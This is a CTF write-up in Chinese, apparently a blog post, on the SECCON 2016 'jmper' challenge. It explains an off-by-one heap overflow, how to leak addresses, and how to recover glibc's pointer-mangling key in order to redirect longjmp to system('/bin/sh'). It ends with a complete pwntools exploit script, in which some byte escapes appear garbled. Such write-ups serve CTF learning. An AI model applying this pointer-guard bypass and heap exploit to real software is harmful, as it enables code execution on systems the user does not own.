Pwn With longjmp

前言

这个是 seccon-ctf-quals-2016 的一个题，利用方式还是挺特殊的记录一下。

题目链接

http://t.cn/RnfeHLv

正文

首先看看程序的安全措施

haclh@ubuntu:~/workplace/jmper$ checksec jmper 
[*] '/home/haclh/workplace/jmper/jmper'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

开了 Full RELRO, 所以不能修改 got 表了。

分配了两个大内存，一个作为一个全局表，用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

接下来就是 f 函数，程序主要的逻辑在这里面。

** Add student**

最多的可以创建 0x1d 个 student, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。
结构体类型大概为

分配第一个 student 时的 内存布局为

** Name student**

输入 id, 然后在 myclass 里面找到相应的地址，取出 name_ptr ，向里面写入内容，注意循环条件

for ( i = 0; i <= 0x20; ++i )

我们可以写入 0x21 个字节，我们分配的内存为 0x20, 可以有 一字节的 溢出，不过这里我们不能控制 分配的大小以及 释放堆块， 无法使用 overlap-heap 利用。继续往下看。

Write memo

类似的操作，依旧可以溢出 memo 的 一个字节， 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

有一个小知识，如果内存分配的顺序大小不变，各个内存块相对于堆基地址的偏移是固定的，所以修改 name_ptr 的最低字节，我们可以使得 name_ptr 指向和 它距离较近的堆块。

这里的话直接修改为下一个堆块的 name_ptr 的地址， 然后利用 name student 就可以修改下一个堆块的 name_ptr，再利用后面的  Show Name 功能就可以实现 任意地址读写。

以后通过

set_name(0, p64(addr))  
getname(1)

就可以实现任意地址读

通过

set_name(0, p64(addr))  
set_name(1, data)

就可以实现任意地址写

现在的问题是往哪写，写什么。

当新增的student的人数到限制后，会调用longjmp， 我们来看看 调用 longjmp 时做了什么

进入函数时 rdi 为 jmpbuf  的地址，可以看到，在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

mov     rdx, [rdi+38h]
ror     rdx, 11h
xor     rdx, fs:30h

jmpbuf 在堆中，如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ，我们就可以控制执行流了。

longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令（0x400C31）

又由于 xor 是可逆的，所以我们可以通过

mov     rdx, [rdi+38h]
ror     rdx, 11h
xor     rdx, 0x400C31

得到 fs:30h

至于重新的加密 rip 的过程，可以看 setjmp 的实现

所以总的利用思路

• 利用 off-by-one 获取任意地址读写的能力
• 利用 student 2 的 name_ptr 泄露堆地址
• 获取 jmpbuf + 0x38 的值，计算 fs:30h 的值
• 重新计算值写入 jmpbuf + 0x38 ， 同时往 jmpbuf 开头写入 ``/bin/shx00

参考

https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

最后的 exp:

#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper")


def ror(reg, count):
    src = bin(reg)[2:]
    src = "0" * (64 - len(src)) + src
    # print(src)
    # print(src[-count:] + ":::" + src[:64 - count])
    return int(src[-count:] + src[:64 - count],2)

def rol(reg, count):
    src = bin(reg)[2:]
    src = "0" * (64 - len(src)) + src
    # print(src)
    # print(src[:count] + ":::" + src[count:])
    # print(src[count:] + src[:count])
    return int(src[count:] + src[:count],2)

def add():
  p.recvuntil("Bye :)")
  p.sendline("1")

def set_name(index, name):
  p.recvuntil("Bye :)")
  p.sendline("2")
  p.recvuntil("ID:")
  p.sendline(str(index))
  p.recvuntil("Input name:")
  p.sendline(name)

def write_memo(index, data):
  p.recvuntil("Bye :)")
  p.sendline("3")
  p.recvuntil("ID:")
  p.sendline(str(index))
  p.recvuntil("Input memo:")
  p.sendline(data)


def getname(index):
  p.recvuntil("Bye :)")
  p.sendline("4")
  p.recvuntil("ID:")
  p.sendline(str(index))

gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
  ''')

pause()


add()  # get stu 0
set_name(0, "/bin/shx00")
write_memo(0, "b"*8)


add()  # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8)


write_memo(0, "b"*32 + "x78")  # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause()

getname(0)
heap = u64(p.recv(3) + "x00" * 5) - 656
log.info("heap的基地址： " + hex(heap))
pause()

set_name(0, p64(0x0601FA8+1))   
log.info("1's name_ptr ---> printf@got+1")
pause()

getname(1)
printf_addr = u64("x00" + p.recv(5) + "x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0


log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause()


jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38


# 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))  
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31

new_saved_rip = rol(system ^ xor_key, 0x11) 

log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip： " + hex(new_saved_rip) )
pause()

set_name(1,p64(new_saved_rip))

set_name(0, p64(jmpbuf))  
set_name(1,"/bin/shx00")

log.info("set jmpbuf: /bin/shx00.....")
pause()


for x in xrange(0x1e - 2):
  add()

log.info("call longjmp")
pause()
add()
p.interactive()